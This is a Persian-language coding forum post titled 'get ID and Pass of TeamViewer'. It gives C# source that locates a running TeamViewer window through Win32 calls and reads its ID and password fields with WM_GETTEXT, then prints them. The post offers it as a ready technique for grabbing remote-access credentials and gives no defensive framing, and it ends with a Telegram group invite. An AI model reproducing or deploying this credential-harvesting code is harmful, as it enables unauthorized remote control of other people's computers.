• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: get ID and Pass of TeamViewer
حالت موضوعی
#1
سورس بدست اوردن ایدی و پسوورد نرم افزار teamviewer

کد:
// Find window by Caption only. Note you must pass IntPtr.Zero as the first parameter.
[DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern IntPtr FindWindowByCaption(IntPtr ZeroOnly, string lpWindowName);

[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, IntPtr windowTitle);

[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);

[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, int wParam,StringBuilder lParam);

static void Main()
{
string[] strWindowsTitles = GetDesktopWindowsTitles();
string strTeamViewer = "";
foreach (string strTitle in strWindowsTitles)
{
if (strTitle.Contains("TeamViewer"))
{
if (strTitle == "TeamViewer")
{
strTeamViewer = strTitle;
break;
}
}
}

if (strTeamViewer != "")
{
IntPtr hWndTeamViewer = FindWindowByCaption(IntPtr.Zero, strTeamViewer);

IntPtr hWndID = FindWindowEx(hWndTeamViewer, IntPtr.Zero, "Edit", IntPtr.Zero);
IntPtr hWndPass = FindWindowEx(hWndTeamViewer, hWndID, "Edit", IntPtr.Zero);

IntPtr pLengthID = SendMessage(hWndID, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero);
IntPtr pLengthPass = SendMessage(hWndPass, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero);

StringBuilder strbID = new StringBuilder((int)pLengthID);
StringBuilder strbPass = new StringBuilder((int)pLengthPass);

IntPtr pID = SendMessage(hWndID, WM_GETTEXT, (int)pLengthID, strbID);
IntPtr pPass = SendMessage(hWndPass, WM_GETTEXT, (int)pLengthPass, strbPass);

Console.WriteLine(strbID.ToString());
Console.WriteLine(strbPass.ToString());
Console.ReadLine();
}
}
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


پرش به انجمن:


Browsing: 1 مهمان